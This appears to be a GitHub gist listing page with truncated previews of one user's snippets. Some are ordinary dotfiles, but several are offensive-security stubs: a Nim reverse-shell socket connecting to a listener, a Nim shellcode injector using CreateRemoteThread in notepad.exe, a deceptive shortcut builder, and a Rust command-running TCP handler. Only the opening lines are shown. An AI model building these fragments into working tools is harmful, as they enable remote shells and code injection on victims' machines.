This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
set nu | |
set wrap linebreak nolist | |
set clipboard=unnamedplus | |
set tabstop=4 softtabstop=0 expandtab shiftwidth=4 smarttab | |
set encoding=utf-8 | |
" Specify a directory for plugins | |
" - For Neovim: ~/.local/share/nvim/plugged | |
" - Avoid using standard Vim directory names like 'plugin' | |
call plug#begin('~/.vim/plugged') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
version: "3.7" | |
services: | |
web: | |
image: nginx:latest | |
deploy: | |
replicas: 2 | |
networks: | |
- blog-net | |
ports: | |
- 80:80 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# List of plugins | |
set -g @plugin 'tmux-plugins/tpm' | |
set -g @plugin 'tmux-plugins/tmux-sensible' | |
set -g @plugin 'tmux-plugins/tmux-resurrect' | |
set -g @plugin 'tmux-plugins/tmux-yank' | |
set -g @plugin 'dracula/tmux' | |
# available plugins: battery, cpu-usage, gpu-usage, ram-usage, network, network-bandwith, weather, time | |
set -g @dracula-plugins "cpu-usage ram-usage time" | |
set -g @dracula-show-powerline true | |
set -g @dracula-show-left-icon λ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import net | |
import osproc | |
import strformat | |
# Create Socket | |
let port = 9999 | |
let address = "127.0.0.1" | |
let sock = newSocket() | |
# Connect to listener |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# With special thanks to byt3bl33d3r for Offensive Nim! | |
import winim/lean | |
import osproc | |
import base64 | |
import sequtils | |
import strutils | |
proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void = | |
let tProcess = startProcess("notepad.exe") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
param ( [string]$SourceExe, [string]$DestinationPath, [string]$IconPath) | |
$WshShell = New-Object -comObject WScript.Shell | |
$Shortcut = $WshShell.CreateShortcut($DestinationPath) | |
$Shortcut.RelativePath = "..\..\..\..\..\..\..\..\..\$SourceExe" | |
$Shortcut.IconLocation = $IconPath | |
$Shortcut.TargetPath = $SourceExe | |
$Shortcut.Save() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
New-VMSwitch -SwitchName "NATSwitch" -SwitchType Internal | |
New-NetIPAddress -IPAddress 192.168.10.1 -PrefixLength 24 -InterfaceAlias "vEthernet (NATSwitch)" | |
New-NetNAT -Name "NATNetwork" -InternalIPInterfaceAddressPrefix 192.168.10.0/24 | |
# Make sure target VM has an interfaces on the new switch | |
Add-NetNatStaticMapping -ExternalIPAddress "0.0.0.0/24" -ExternalPort 22 -Protocol TCP -InternalIPAddress "192.168.10.2" -InternalPort 22 -NatName NATNetwork |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# With special thanks to byt3bl33d3r for Offensive Nim! | |
import winim/lean | |
import osproc | |
import base64 | |
import sequtils | |
import strutils | |
import strformat | |
import httpclient |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use std::{ | |
net::{TcpStream}, | |
io::{Write, BufReader, BufWriter, BufRead}, | |
process::Command | |
}; | |
fn handle_client(stream: TcpStream) { | |
println!("Connection from {}", stream.peer_addr().unwrap()); | |
// Create BufReader and BufWriter for easy work | |
let mut stream_write = BufWriter::new( |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# With thanks to reilly! | |
proc getPass(prompt = "Secret: "): string = | |
stdout.write(prompt) | |
while result == "" or result[^1] notin ['\x0D', '\n']: | |
result.add getch() | |
stdout.write("*") | |
stdout.write("\n") | |
return result.strip() |
OlderNewer